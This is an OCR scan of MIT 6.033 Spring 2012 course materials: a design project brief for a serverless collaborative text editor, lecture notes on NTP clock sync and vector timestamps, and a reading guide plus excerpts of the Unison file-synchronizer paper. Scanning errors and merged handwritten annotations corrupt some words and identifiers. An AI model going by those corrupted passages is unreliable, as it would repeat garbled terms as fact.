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As you are reading the paper, think about the following question:

Gemeral infarmation Why does ObjectStore require the use of special types like o_s.'__lg_e;_and annotations like indexable or

Staff List inverse_member? What would happen if you used a regular set or hash table implementafion instead?
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6.033 2012 Design Project 2 http://web.mit.eduw/6.033/www/assignments/dp2.html

1 of 4

6.033 2012 Design Project 2 %

I. Due Dates and Deliverables

You will be working on the second design project in teams of three students who share the same
recitation instructor. There are four deliverables for this design project:

A list of team members emailed to your TA by April 12, 2012.

One copy of a design proposal (not exceeding 1,200 words), due at 5pm on April 26, 2012.
One copy of a design report (not exceeding 5,000 words), due at 5pm on May 10, 2012.

A five-minute in-recitation presentation, on May 15, 2012. In consultation with the chair of the
faculty we have determined that the assignment follows the spirit of the end-of-term rules.

=~ L) o —

All deliverables should be submitted via the online submission site.

As with real life system designs, 6.033 design projects are under-specified, and it is your job to complete
the specification in a sensible way given the overall requirements of the project. As with designs in
practice, the specifications often need some adjustment as the design is fleshed out. We recommend that
you start early so that you can evolve your design over time. A good design is likely to take more than
just a few days to put together.

II. The Problem

Ben Bitdiddle is collaborating with several of his friends on a paper for a class (similar to the DP2 report
that your team is putting together). He wants to build a peer-to-peer text editor in which he and his group
members can edit the paper at the same time, without relying on a central server (such as in Google
Docs). Ben and his friends often use laptops without internet access, and they don't like relying on
Athena, so they would like to come up with a design that allows disconnected operation and does not
require a central server. One particular scenario that Ben and his friends want to support is being able to
sit together along the Charles River, without internet access, but still be able to collaborate on editing the
same document when their laptops can communicate.

Ben expects many group members to make changes while offline. It may be the case that two group
members make conflicting changes to the same sentence, in which case the editor should ask the user for
help in merging these changes. However, in cases when the changes are not in conflict with one another,
Ben would like the text editor to merge them automatically, without any manual input from the user.
Moreover, once a user resolves a conflict, other users should not need to resolve the same conflict again.

At some point Ben thinks that he has a final version of the paper ready for submission. He wants to
double-check that the paper he submits reflects everyone's latest changes. To help all group members to
agree on a single version of the document to submit, the text editor should allow Ben to commit a certain
version of the document (for example, the one that Ben is going to submit on the group's behalf to the
course staff). If there were some changes to the paper on a group member's computer, which Ben did not
see before initiating his commit, Ben's commit should fail and Ben will have to merge those changes and
initiate another commit.

Your job is to design a collaborative text editor that meets Ben's requirements.

4/10/2012 1:36 AM



6.033 2012 Design Project 2 http://web.mit.edw/6.033/www/assignments/dp2.html

II1. Requirements

The challenges you should address in your design project are as follows:

1. Your design must support disconnected operation. If two group members edit the same document,
but make changes to different parts of the document, their changes should eventually be merged
together when they re-connect to the Internet. If they edit the same part of the document, the text
editor should flag the conflicting parts of their changes, and ask the users to resolve this conflict. A
third member of the group should not have to resolve this conflict once it has already been
resolved.

Your design must support direct connectivity between two users without Internet access, such as

two group members being able to communicate over a direct link on an airplane or in a park. The

users should be able to synchronize with each other, and later be able to send their changes to a

third user when they connect to the Internet.

3. Your design must support commit points. A user should be able to initiate commit on a document
with a given name, such as “*Ben's final submission". If the user's commit returns with success, all
users must agree on the document that corresponds to that commit name, even if all machines
crash after that point. Additionally, the committed document must reflect the changes from each
user at the time the commit was initiated.

4. Your design can assume that the membership of Ben's group does not change for the lifetime of the
document (although not all group members may be online at any given time, or they may be in
different network partitions).

5. Your design can assume that each user knows the current IP addresses of other group members'
machines.

o]

After you have designed your system, you should evaluate how usable your system is, in terms of how
many conflicts have to be resolved when an old change is undone, or when two users make concurrent
changes to the document. Your design should not ask users to resolve conflicts that don't matter in the

current version of the document. Your design should also not ask users to resolve conflicts that can be

reasonably resolved automatically, by, for example, keeping more precise dependencies.

The scenarios your design must handle in terms of conflict resolution are as follows:

1. Two users, Alice and Bob, add lots of text to the document in different paragraphs, and also make
different changes to a single sentence in the introduction. Once Alice and Bob connect to each
other, your design must not require resolving conflicts for the changes to different paragraphs.

2. Two users, Alice and Bob, are connected to each other, and Bob makes a change to a sentence.
Concurrently, an offline user, Charlie, changes that same sentence in a different way. Alice goes
offline but later meets Charlie, at which point they synchronize, detect the conflict, and Alice
resolves the conflict. At a later point, Charlie meets Bob and synchronizes with him. Bob should
not have to resolve a conflict between his change and Charlie's change, because Alice already
resolved this conflict.

3. One user, Alice, moves several paragraphs from one section of the paper to another, but does not
change the contents of those paragraphs. Concurrently, another user, Bob, who is offline, edits a
sentence in one of those paragraphs. When Alice and Bob meet, no conflict resolution should be
required.

4. Two users, while not connected to each other, find a spelling mistake and correct the same word in
the same way. When they re-connect, no conflict resolution should be required.

2 of 4 \ 4/10/2012 1:36 AM



6.033 2012 Design Project 2 http://web.mit.edw/6.033/www/assignments/dp2.html

Your design report must discuss how you handle failures during commit, where Ben's system crashes
(when Ben initiated commit) at any point in the commit process, what happens if another student in the
group has outstanding edits that Ben has not seen yet, and what happens if another student's computer
crashes while Ben is in the middle of committing. Under any failures (including the ones mentioned here),
once a user sees that some version was committed under a given name, no other version can ever be
committed under that name. If a user does not see that a version was committed, they must be able to
either commit a new version or find out the version that was committed under that name.

Your design must correctly handle concurrent commits, when multiple users try to commit a version with
the same name.

Your design must never silently drop changes, except if the computer of the user making the change
crashes just after the user made that change, and that change has not been sent out to other users yet.

Optional challenge problem:

* Handle dynamic group membership, where a group member can leave the group, and one group
member can add a new member. This refers to the set of people that can edit the document, and not
to the set of users that are online at some point in time.

IV. Design proposal

The design proposal should summarize your design in 1,200 words or fewer. It should outline the
representation of a document stored at each node, and the protocol and algorithms the nodes use to
exchange updates.

You do not have to present a detailed rationale or analysis in your proposal. However, if any of your
design decisions are unusual (particularly creative, experimental, or risky) or if you deviate from the
requirements, you should explain and justify those decisions in your proposal.

You will receive feedback from your TA in time to adjust your final report.

V. Design report

Your report should explain your design. It should discuss the major design decisions and tradeoffs you
made, and justify your choices. It should discuss any limitations of which you are aware. You should
assume that your report is being read by someone who has read this assignment, but has not thought
carefully about this particular design problem. Give enough detail that your project can be turned over
successfully to an implementation team. Your report should convince the reader that your design satisfies
the requirements in Section III.

Use this organization for your report:

Title page: Give your report a title that reflects the subject and scope of your project. Include your
names, email address, recitation instructor, section time(s), and the date on the title page.

No table of contents.

Introduction: Summarize what your design is intended to achieve, outline the design, explain the
major trade-offs and design decisions you have made. and justify those trade-offs and decisions.
Design: Explain your design. Identify your design's main components, state, algorithms, and

Jof4 4/10/2012 1:36 AM
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protocols. You should sub-divide the design, with corresponding subsections in the text, so that the
reader can focus on and understand one piece at a time. Explain why your design makes sense as
well as explaining how it works. Use diagrams, pseudo-code, and worked examples as appropriate.

o Analysis: Explain how you expect your design to behave in different scenarios. What scenarios
might pose problems for performance or correctness? What do you expect to be the scalability
limits of your design?

o Conclusion: Briefly summarize your design and provide recommendations for further actions and a
list of any problems that must be resolved before the design can be implemented.

e Acknowledgments and references: Give credit to individuals whom you consulted in developing
your design. Provide a list of references at the end using the IEEE citation-sequence system
("IEEE style") described in the Mayfield Handbook.

e Word count. Please indicate the word count of your report at the end of the document.

Here are a few tips:

e Use ideas and terms from the course notes when appropriate; this will save you space (you can
refer the reader to the relevant section of the notes) and will save the reader some effort.

e Before you explain the solution to any given problem, say what the problem is.

e Before presenting the details of any given design component, ensure that the purpose and
requirements of that component are well described.

e [t's often valuable to illustrate an idea using an example, but an example is no substitute for a full
explanation of the idea.

¢ You may want to separate the explanation of a component's data structures (or packet formats)
from its algorithms.

e Explain all figures, tables, and pseudo-code; explain what is being presented, and what conclusions
the reader should draw. '

While the Writing Program will not be grading DP2, you should feel free to ask them for help.

VI. Presentation

You will have only about five minutes for your presentation. The audience will be very familiar with the
problem, so you can get right to the guts of your solution.

VII. How we evaluate your work

Your recitation instructor will assign your report a grade that reflects both the design itself and how well
your report presents the design. These are the main high-level grading criteria:

e Clarity. Is the design described well enough to be understood, evaluated, and implemented?
* Correctness. Does the design achieve the requirements laid out in Section II1? Does your report

give a convincing analysis that your design works under the described scenario?
e Simplicity. Is the level of complexity in the design justified?

VII. Clarifications

e None yet.

4 of 4 4/10/2012 1:36 AM
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Simple time sync protocol

sync(server):
tsrv = getTime(server) }clienl
L19: Time & Ordering local_time = tsrv
getTime():
return local_time S

Nickolai Zeldovich
6.033 Spring 2012

Estimating network latency Slew time
sync(server): sync(server):
t begin = local_time t begin = local_time
tsrv = getTime(server) tsrv = getTime(server)
t end = local_time t end = local_time
delay = (t_end-t_begin)/ 2 delay = (t_end-t_begin) /2
offset = (t_end-delay) - tsrv offset = (t_end-delay) - tsrv

local_time = local_time - offset

sleep(freq * abs(offset) / €) il
freq = base

slow down
local clock

freq = base + ¢ * sign(offset) } temporarily

timer_intr(): # on every oscillator tick.. —
Ll : 8
local_time = local_time + 1/freq 3



Adjust local frequency estimate Summary

sync_freq(server): « NTP can synchronize time across the Internet
tcO = local_time

ts0 = getTime(server) + Be careful w/ assumptions, when using time

sleep(N
1 « Optimistic concurrency: concurrent changes

tc1 = local_time
ts1 = getTime(server)

ratio = (tc1-tc0) / (ts1-ts0) | fouoens,
freq — freq * ratio to match

server

« \Vector timestamps help detect concurrent changes
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6.033 2012 Lecture 19: Ordering and consistency

Topics:
Replication.
Time.
Vector timestamps.
Causal consistency.

Fault-tolerance.
Goal: building reliable systems from unreliable components.
So far: transactions for crash-recovery on a single server.
Important to recover from failures.
How to continue despite failures?
General plan: multiple servers, replication.
Already seen some cases: DNS, RAID,
This week: how to handle harder cases.
E.g., replicated file storage, replicated master for 2PC,

Example: file storage.
Simple design: single file server (e.g., home directory in AFS).
What if AFS server crashes? Can't access your files.
Alternative design: keep copies of your files on your desktop, laptop, etc.
Storage is now replicated: can access your files despite failures.

Primary challenge in replication: consistency between replicas.
User edits file on one computer, change may not be there on another computer.
How to deal with this problem?
Today: optimistic replication.
Tolerate inconsistency, and fix things up later.
Works well when out-of-sync replicas are acceptable.
Wednesday: pessimistic replication.
Ensure strong consistency between replicas.
Needed when out-of-sync replicas can cause serious problems,

Resolving inconsistencies.
Suppose we have two computers: laptop and desktop.
File could have been modified on either system.
How can we figure out which one was updated?
One approach: use timestamps to figure out which was updated recently.
Many file synchronization tools use this approach.

Use of time in computer systems.
Time is used by many distributed systems.
E.g., cache expiration (DNS, HTTP), file synchronizers, Kerberos,
Time intervals: how long did some operation take?
Calendar time: what time/date did some event happen at?
Ordering of events: in what order did some events happen?

Measuring time intervals.
Computer has a reasonably-fixed-frequency oscillator (e.g., quartz crystal).
Represent time interval as a count of oscillator's cycles.
time period = count / frequency
e.g., with a 1MHz oscillator, 1000 cycles means lmsec.

Keeping track of calendar time.
Typically, calendar time is represented using a counter from some fixed epoch.
For example, Unix time is #seconds since midnight UTC at start of Jan 1, 1970.
[ demo: date +%s shows number of seconds after the Unix epoch
Can convert this counter value into human-readable date/time, and vice-versa.
Conversion requires two more inputs: time zone, data on leap seconds.

What happens when you turn off your computer?
"Real-Time Cleck" (RTC) chip remains powered, with battery / capacitor.
Stores current calendar time, has an oscillator that increments periodically.

Maintaining accurate time.
Accuracy: for calendar time, need to set the clock correctly at some point.
Precision: need to know oscillator freguency (drift due to age, temp, etc).

Synchronizing a clock over the internet: NTP.
Query server's time, adjust local time accordingly.
[ slide with simple time sync protocol ]

Need to take into account network latency.
Simple estimate: rtt/2.
When does this fail to work well?
Asymmetric routes, with different latency in each direction.
Queueing delay, unlikely to be symmetric even for symmetric routes.
Busy server might take a long time to process client's request.
Can use repeated queries to average out (or estimate variance) for second two.

demo: ntp ]
NTP server in Australia, from au.pool.ntp.org.
% ntpdate -d 203.17.251.1

My laptop can synchronize to server in Australia, with high accuracy.

Repeated tries help estimate variability due to network congestion, server, ..
"Reference time" is the time at which the server last adjusted its clock.
“"Originate time" is when the server send its reply (by its clock).

http://web.mit.edw/6.033/www/lec/119.txt
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"Transmit time" is when my laptop sent the request (by its clock).

% ntpdc -n 203.17.251.1
ntpdc> peers

What happens if a computer's clock is too fast (e.g., 5 seconds ahead)?
Naive plan: reset it to the correct time.
Bad idea:
Can break time intervals being measured (e.g., negative interval).
Can break ordering (e.g., older files were created in the future).
"make" is particularly prone to errors when time goes backwards,
since it uses timestamps to decide what needs to be recompiled.
Principle: time never goes backwards.
Idea: temporarily slow down or speed up the clock.
Typically cannot adjust oscillator (fixed hardware).
Adjust oscillator frequency estimate, so counter advances faster / slower.

Improving precision.
If we only adjust our time once, an inaccurate clock will lose accuracy.
Need to also improve precision, so we don't need to slew as often.
Assumption: poor precision caused by poor estimate of oscillator frequency.
[ slide: adjusting local frequency estimate
Can measure difference between local and remote clock "speeds" over time.
Adjust local frequency estimate based on that information.
In practice, may want more stable feedback loop (PLL): look at control theory.

File reconciliation with timestamps.
Key problem: determine which machine has the newer version of the file.
Strawman: use the file with the highest mtime timestamp.

Hl: a=1 ->H2
H2: R{a) a=3 ->H1

Works when only one side updates the file per reconciliation.

H1: a=1 ->H2
H2: R(a) a=2 ->H1

Need a better plan to detect concurrent updates (both sides updated) .
Better plan:
Track last reconcile time on each machine.
Send file if changed since then, and update last reconcile time.
When receiving file, check if local file also changed since last reconcile.

New outcome: timestamps on two versions of a file could be concurrent.
Key issue with optimistic concurrency control: optimism was unwarranted.
Generally, try various heuristics to merge changes (text diff/merge, etc).
Worst case, ask user (e.g., if edited same line of code in C file).

File reconciliation across multiple machines.
Hl: a=1 ->H2
H2: R(a}) a=2 ->H1
H3: R({a) a=3 ->H1

Problem: H1 and H2's updates overwritten when H3 sends over its version of a.

Goal: no lost updates.
V2 should overwrite V1 if V2 contains all updates that V1 contained.
Simple timestamps can't help us determine this.

Idea: vector timestamps.
Instead of one timestamp, store a vector of timestamps from each machine.
Entry in vector keeps track of the last time that computer wrote the file,
V1 is newer than V2 if all of Vi's timestamps are >= V2's,
V1 is older than V2 if all of V1's timestamps are <= V2's,
Otherwise, versions V1 and V2 were modified concurrently, so conflict.
If two vectors are concurrent, one computer modified file
without seeing the latest version from another computer.
1f vectors are ordered, everything is OK as before.

[ diagram: version vectors for above scenarios

Cool property of version vectors:
A node's timestamps are only compared to other timestamps from the same node.
Time synchronization not necessary for reconciliation w/ vector timestamps.
Can use a monotonic counter on each machine.

Does calendar time still matter?
More compact than vector timestamps.
Can help synchronize two systems that don't share vector timestamps.

[ did not get to the things below in lecture ]

Synchronizing multiple files.
Strawman: as soon as file is modified, send updates to every other computer.
What consistency guarantees does this file system provide to an application?

Hl: a=1 ->H2
H2: R(a) b="a" ->H1 ->H3
H3: R(b) R{a)

.. =>H3

http://web.mit.edw/6.033/www/lec/119.txt
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Relatively few guarantees, aside from no lost updates for each file.
In particular, can see changes to b without seeing preceeding changes to a.
Counter-intuitive: updates to diff files might arrive in diff order.

Goal: causal consistency.
If x causally precedes y, then everyone sees x before y.
%X causally precedes y if some system observed y and then did x.

Ensuring causal consistency.
Each machine records highest vector timestamp received from other machines.
Updates include sender's highest received VT, along with the file's VT.

Receiver buffers incoming messages until msg.rcvd_vt <= highest received VT.

Ensures each receiver waits to process messages in a causal order.

slide: summary ]

http://web.mit.edw/6.033/www/lec/119.txt
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Read How to Build a File Synchronizér by Trevor Jim, Benjamin Pierce and Jerome Vouillon. (This unpublished
paper is not in the handouts.) You can find out more information about Unison at the The Unison Home Page. A
User Manual and Reference Guide is also available. (You may wish to read read Section 10.4 of the course notes
before reading the Unison paper ---&8ection 10.4 $hows the essence of the ideas, while the Unison paper shows
many of the real-world problems that crop up when attempting to implement them!)

Unison is designed to solve the problem of reconciling two file repositories when both are subject to asynchronous
changes. The industry uses two terms to describe this process --- "synchronization" and "reconciliation.” In 6.033
we will try to use the term "reconciliation” for this process and reserve the term "synchronization™ for processes that
involve setting two or more clocks to the same time.

A common use of Unison is to maintain consistency between a set of files in your Athena home directory and a
laptop. Each time you run Unison, the program would:
S
¢ Discover new files added to the Athena directory and copy them to the laptop ) "
e Discover new files added to your laptop and copy them to your Athena directory \
e Discover files deleted from your Athena directory and delete them from your laptop \
e Discover files delete from your laptop and delete them from your Athena directory /
¢ Propagate any metadata changes from one system to the other (ie: changes in file modification timcs
s Make an attempt to inform the user of its proposed actions and receive approval
e Update everything atomically without losing any data in the process

As the authors note, it is rather straightforward to build a simple file reconciler; it is much harder to build one that is
efficient over slow links, that can wdrk across operating systems, and that is tolerant of failures in either the systems
being reconciled or the network. ( 7 “ 7

(Mly i

Reconciling files between multiple computers is a longstanding problem among computer scientists, born from the
practical problems of maintaining a consistent environment across multiple machines. Early versions of Berkeley
4.2 Unix (circa 1984) came with a one-way file reconciler called rdist. This program inspired Tridgell [PhD Thesis]
to write rsync, a program that performed much the same function, but improved performance with the "rsync
algorithm" --- a technique for incrementally updating large files such as logfiles that tend to be extended rather than
rewritten. Both rdist and rsync are more properly thought of as efficient publication systems rather than reconciling
systems: they will propagate changes from a central computer to other nodes across a network, but they are not very
good at bi-directional reconciliation. Both of these programs are further limited in that they only operate under
‘_l:lr‘lbc, while Unison runs under Windows and MacOS as well.

Russ Cox and William Josephson created a multi-host file synchronizer called tra which is pretty neat, but it only
runs on Unix.

As the authors of the paper make clear, much of their effort has been spent on making Unison workimra-eress-

platform manner. For example, Unix file modification times have a resolution of 1 second, while Windows file

modification times have a resolution of 2 seconds. The solution that Unison taKes is to mask the bottom bit of the

Windows file modification times. One of the difficulties in writing Unison is that the authors needed to discover

these inter-operating system differences by l'riql and error: there is no single document that lists them all. M a l‘y

ALY f
W X
Unison is unquestionably a technical success: the program is included in multiple Unix distributions and members of d (ﬂ(} j}
the 6.033 staff have been using it since 1998. Nevertheless, Unison does have its drawbacks, some of which can be
inferred from the paper:

e In Section 2, Jim, Pierce and Vouillon argue that "the most important goal of any file synchronizer is safety,"
but then they point out in Section 4 that if Unison cannot read the files in one file archive due to a hardware

to do (despite the authors' claim that Unison had only experienced this catastrophic failure once, rest assured
that it happens with some regularity). Why do you think such catastrophic failures happen, and how could

Ule failure, it will proceed to delete all of the files in the other archive. Obviously, this is precisely the wrong thing

{A~~+  Unison be modified to make them less likely? What 6.033 design principles does Unison violate which makes

such catastrophic failures more likely?

« Unison is a pairwise reconciler; what if you have three computers that you want to keep in sync? One way to
set up such a network is to have A reconcile with B and B reconcile with C. This actually works in practice (a
point that the authors fail to make). What do you think happens if you have C in turn reconcile with A? Will
updates be propagated more quickly, or will the system fail to converge to a stable state?

¢ Unison generally fails when a file in one repository cannot be adequately represented in another one. For
example, a file that has a colon in its filename on Unix cannot be reconciled onto either a Mac or a Windows
file system. Likewise, the author note that "there is no system call to find out the maximum length of file

4/21/2012 9:00 PM
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names in a (possibly remotely-mounted) directory." (p. 8). Do you believe that these limitations are inherent
in the construction of a multi-platform file reconciler, or do you think that they could have been detected and
coded around?

The authors of the paper argue that they have taken several steps to improve performance, but in their table at the
top of page 9 (Figure 2) they note that their program is slower in every case than Rsync. Why do you think this is
s0? What else is wrong with the information provided in the table? Despite being compared with rsync, Unison
cannot interoperate with it. Do you think that this was a good design decision?

After reading the paper, would you trust Unison to reconcile your files? Why or why not?

Questions or comments regarding 6.033? Send e-mail to the 6.033 stafT at 6.033-staff@mit.edu or 1o the 6.033 TAs at 6.033-tas@mit.edu.

Top // 6.033 home //

4/21/2012 9:00 PM



How to Build a File Synchronizer

Trevor Jim Benjamin C. Pierce Jérome Vouillon
AT&T Labs Research University of Pcnnsylvama CNRS

February 22, 2002 673' ({

Abstract

Wuser-]evel programs that reconcile disconnected modifications to replicated directory
structures—are am~increasingly familiar part of daily life for many computer users. Building a simple
file synchronizer is stratghtforward; biilding one that works fast, that deals correctly with the details of
filesystem semantics, and that operates robustly i scenarios is much more difficult.

The Unison file synchronizer emphasizes portability, robustness, clean semantics, and heterogeneous
operation between different types of file systems (Posix and Win32). We describe the design and imple-
mentation of Unison, discuss a range of issues facing synchronizer builders, and explain and evaluate the
solutions adopted in Unison.

1 Introduction (!
| Lnpolidhind
[Some suggestions:
e include a figure showing a session with Unison 7
e discuss UI /
e describe the LWT system more

e Discuss: Is unison safer than rsync? does it do a better job at protecting against accidental

deletions?
The shift from many users per computer to many comput een accompanied by a sig-
nificant increase in licati plicating data ensures its availability during periods of disconnected

operation, reduces latency during connected operation, and protects against loss due to system failures or
user errors. With this increase in replication comes, inevitably, the issue of how to combine updates to
different replicas. In tightly coupled systems, this issue can be addressed by conservative schemes that pre-
serve “single-replica semantics.” However, in larger systems and systems whose parts must often operate in
disconnected mode, optimistic strategies must often be employed to achieve acceptable performance and/or
availability. These schemes allow concurrent updates to the replicated data, which are later reconciled by
propagating non-conflicting changes to all replicas and detecting and resolving conflicting changes.

The tools and system components that perform this sort of reconciliation, often generically called syn-
chronization technologies, come in many forms—distributed operating systems, distributed databases, appli-
cation middleware layers, PDA hotsync managers, laptop file synchronizers, etc. Qur primary interest here
is the subcategory of file synchronizers—user-level tools whose job is to maintain consistency of replicated
directory structures.

Engineering a file synchronizer is a challenging task, for several reasons. First, a file synchronizer must
deal with all the low-level quirks of filesystems. Second, file synchronization is an inherently distributed task,
requiring careful attention to efficient network utilization and demanding robust operation in the face of a

range of possible host and network failures. Finally, the design of a user interface for a synchronizer takes
ST S




careful thought, since it must present a potentially large amount of information about updates, conflicts,
-__—-_"__—“_-—

failures, etc., in a clear and intuitive way.

1G‘Ge(il_zglaesigned and implemented a file synchronizer called Unison.! From modest beginnings in 1995,
Unison has grown into a mature tool with a significant user community? and high ambitions in the areas of
portability, robustness in:mmﬁﬁmoss different filesystem architectures.

In the process of building Unison, we have learned many lessons about the challenges of file synchroniza-
tion and experimented with numerous ways of addressing them. The goal of this paper is to record these
experiences, and the ultimate design that arose from them.

We begin in Section 2 by discussing the major choices that have guided Unison’s design. Section 3
describes the structure of the implementation. Section 4 explores in more depth several critical imple-
mentation issues related to robustness. Section 5 describes further refinements related to cross-platform
synchronization. Section 6 discusses performance issues, and Section 7 presents some preliminary measure-

ments of Unison’s performance. Section 8 sketches a number of useful extensions of the synchronizer’s core
functionality. Sections 9 and 10 discuss related and future work.

2 Design

The most important goal of any file synchronizer is safety. A synchronizer changes scattered and potentially
large parts of users’ filesystems, which may contain sensttive and valuable information. Moreover, this work
is largely unsupervised by users. This puts a synchronizer i ique-position—te-do harm, and places a
heavy responsibility on synchronizer implementors to ensure fail-safe behavior in all situations. Doing so
requires several different sorts of bulletproofing, which we describe in Section 4.

An issue closely related to safety is the treatment of conflicts. All synchronizers try to propagate non-
conflicting changes between replicas, ideally making them equal at the end of the run, but designs differ in
what happens when this is not possible. Some? insist on consistency—all replicas must be identical after
synchronization, even if this means that some of the changes made by the user to one or another of the
replicas must be discarded or overwritten. Others treat the user’s changes as sacred: if a file has changed in
incompatible ways in two replicas, then the synchronizer must do nothing to this file without guidance from
the user, even though this means that the two replicas will differ after synchronization. Unison adopts the
latter point of view.

Another major issue in the design of any synchronization technology (not just file synchronizers) is what
sort of information the synchronizer can see about the changes to the replicas.

o Trace-based (also called log-based) synchronizers detect updates by examining a complete trace of all
filé modifications. The trace may be provided by the operating system to the synchronizer when it
runs, or the synchronizer itself may be watching modifications in real time. Distributed operating
systems, databases, and application middleware layers fall into this category.

e State-based synchronizers use only the current states of the file system to detect updates. This may
involve examining modtimes, inodes, dirty bits, file contents, etc., and comparing them with saved
copies or summaries. Hotsync managers and user-level file synchronization tools fall into this category.

Trace-based synchronizers have more information to work with, so in principle they can make better decisions
about how to propagate changes and handle conflicts. However, they require support for synchronization to

1Unison’s source code is available under the GNU Public License. It can be downloaded, along with precompiled binaries
and documentation, from http://www.cis.upenn.edu/ bcpierce/unison.

21t is difficult to get a precise idea of the number of users of an open-source tool. Qur server log records downloads
from about 10,000 distinct IP addresses; this gives a high estimate. (It is probably a substantial overestimate, but even this
is not certain. Precompiled versions of Unison for several operating systems besides the officially supported ones [Red Hat
Linux, Solaris, and Windows] are offered by civic-minded users; Unison is also packaged with the Debian and Suse Linux
distributions.) A low estimate of 500 is given by the size of the email discussion and announcement lists. The biggest single
user we know of synchronizes 18Gb of programs and data nightly between geographically separated servers. It is also used by
several organizations as the core of automated backup and file sharing services for multiple users, and by other organizations
for distributed web site maintenance.

3E.g., the Windows 2000 file replication service. IceCube [SRK00, KRSDO1] adopts a similar point of view.



be built into systems at a very basic level. State-based synchronizers are more portable, can be run as user-
level programs without administrative privileges, and can be used in settings involving multiple organizations
or administrative domains where full-blown distributed filesystems and databases are impractical.

One of our goals for Unison was that it should be partable across a range of operating systems, including
recent releases of Windows and all popular Unix variants (Linux, Solaris, OS X, *BSD, etc.). This argued
strongly for making Unison a user-level, hence state-based, tool—i.e., designing it to run as an ordinary, user-
level application program, rather than being part of the operating system or relying on special operating-
system hooks. Besides portability, there were two other reasons for this choice. The first was simplicity: as
noted above, user-level synchronizers are much more straightforward to build and install than synchronization
components of distributed filesystems, since they stand above the rest of the filesystem and interact with
it through the same APIs as other user programs. Second, user-level synchronizers are a very common
category of tools in the real world, but one that has so far received relatively little attentlon from the
research community. <

Another goal was to offer reasonable performance for synchronizing large replicas (around a gigabyte—
the size of many people’s home directories these days) over a variety of communication links, from fast
local ethernets to 56K modems and DSL lines. One immediate corollary of this decision is that update
detection (which involves scanning the whole of each replica) must be performed locally at each host, that
any large auxiliary data structures saved between synchronizer runs must be replicated al each host (and
must therefore themselves be kept carefully in sync), and that the information exchanged during update
detection should concern only changed files.

A final important goal was that Unison should come with a clear and precise specification—one clear
enough to put in the users’ manual and precise enough to permit users to predict its behavior in all situations.
Thus, from the beginning, experimenting with ways to formalize Unison’s Teatures has gone hamd-m-hand
with the engineering of the tool, and the intuitions gleaned from this effort have contributed enormously to
the success of the pragmatic side of the project. However, we will not say much about the specification here
since it has been described in detail elsewhere; see [BP98, PV01] and, for an extension of our approach [RC01].

The success of a project can depend almost as much on its non-goals as on as its goals. The most important
non-goal for Unison so far has been synchronizing information within_individual files. If a file has been
changed in different ways in the two replicas, Unison signals-a-canflict, even if the file is a database and the
changes were to different records. Of course, there is a class of tools—generally called data synchronizers—
that synchronize information between databases at the record level. For example, the “hotsync manager”
that moves data between a Palm or other PDA and a workstation is a data synchronizer. But most data
synchronizers are able to operate only on flat collections of databases, not on hierarchical file systems.
(PumaTech’s IntelliSync is one exception.) We believe that many of the ideas in Unison (and perhaps some
parts of the implementation) can also be applied to data synchronization, and we are currently investigating
this possibility.

Another feature that is found in some synchronizer designs but is omitted from Unison is the ability
to invoke sophisticated heuristics to help resolve conflicts. When Unison detects a conflict, it simply asks
for guidance from the user. (Recent releases of Unison take a small step by providing hooks to invoke an
external merge program.)

A final non-goal of the current implementation is multi-replica synchronization: Unison only synchronizes
two replicas at a time. Unison can synchronize n replicas by performing several (more precisely, 2n — 3)
pairwise synchronizations, but this mode of use does not scale gracefully beyond about n = 4. We wou
like to implement multi-replica synchronization in the future, but doing this well will require additional
mechanisms (version vectors, gosmp archltectures, etc that will substantially complicate both the design

and the unplementatlonf.’r ‘\’l'l,d?} ﬁw

3 Architecture

Unison uses a simple client-server architecture, as shown in Figure 3. The connection between client and
server processes can be established in two different ways. In socket mode, both processes are started manually,
and the client connects to the server on a predetermined port. In tunneling mode, the client process is
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Figure 1: Unison’s architecture

started first; it uses ssh to open a connection to the server machine, starts the server process there, and
communicates with it mmmmed one, since the use of ssh makes
the communication between client and server secure from eavesdroppers and other ill-doers. The first method
is provided for users who cannot use ssh, e.g., because their server machine is running a version of Windows
for which no ssh is available.

Most of Unison’s functionality is concentrated on the client side: the server process is used only for
detecting updates and helping propagate new versions of files. Client and server communicate by synchronous
remote procedure calls. fe=——m——

When the client process is started, two roots for the synchronization are specified, either as command-
line arguments or by including them in a permanent preferencm;)eciﬁes a starting point for
synchronization in the corresponding host’s file system. '

The first step of synchronization, update detection, is performed separately by the client and server
processes. Each process reads an archive file that was created at the end of the last synchronization; this
file contains modification times and other metadata (such as inode numbers when running under Unix), as
well as a cryWMf eachfile. These are compared-to-thecurrent states of
the two filesystems to produce a list of the paths within each replica whose contents have changed since the
previous run of Unison. (Note that we do not consider a file to have been updated if it has been touched
but its contents have not changed. This is a significant design choice, since it means that a file that is
touched in one replica and changed in the other will be treated the same as if the first replica had not been
touched—i.e., the change from the second replica will be copied to the first, rather than signaling a conflict.)

The sggwﬁrglsfitﬂis&_obxpdebes—bmm client.
In the second step, called reconciliation, these lists are merged to produce a task list—a list of changed

paths, each annotated to show which replica’s contents should be copied to bring the two into agreement.
(We consider “absent” as-a-speeial kind of contents, so that deleted files, created files, and changed files can
be handled uniformly at this step.) The critical design issue here is the handling of conflicts. A path is said
to be conflicting if (1) it has been updated in one replica, (2) it or any of its descendants has been updated
in the other replica, and (3) its contents in the two replicas are not identical. In particular, we consider
deleting a directory (or replacing it with a file) in one replica and changing a descendant of that directory
in the other replica as conflicting operations. Paths whose contents have been changed in both replicas are

(Omp!QV




marked as conflicts—i.e., they are added to the task list, but with no default recommendation for which
replita’s copy should be propagated to the other—unless the new contents happen to be the same on both
s’i’@sf._lu this case, the files are marked as successfully synchronized anm

Next, Unison displays the task list in the user interface and waits for confirmation. (Two different user
interfaces are provided: a textual interface using a plain terminal and keyboard, and a Gtk-based GUI. The
desired Ul is selected at start-up time by a command-line switch or a permanent preference setting.) The
user may now examine Unison’s recommendations for changing the replicas, manually cancel or override
them if desired, and instruct Unison what do to with conflicting paths. Unison may also be run in batch
mode, in which case no confirmation is needed at this step and conflicting paths will simply be skipped.

Next, changes are propagated between the replicas as specified by the (user-modified) task list. (This step
is discussed further in the following section; some care is needed to ensure that the replicas will not be left
in a bad state if a failure occurs during this phase.)

Finally, Unison updates the archive files on both client and server to reflect the new contents of the paths
that were successfully synchronized on this run.

4 Robustness

Users place a great deal of trust in file synchronizers. They use them to update important files with little or
no supervision; some even use them as primary backup utilities. Avoiding data corruption is a top priority.
In this section, we discuss the protective measures that Unison takes to avoid losing user data in the face
failures. (Unfortunately, it is impossible, in practice, to protect against all failures. For example, Unison’s
one—to our knowledge—catastrophic failure occurred when a user’s RAID setup failed and behaved as
though all its files had been deleted. When the array was synchronized with another replica, the deletions
were propagated! Fortunately, the data had been backed up.)

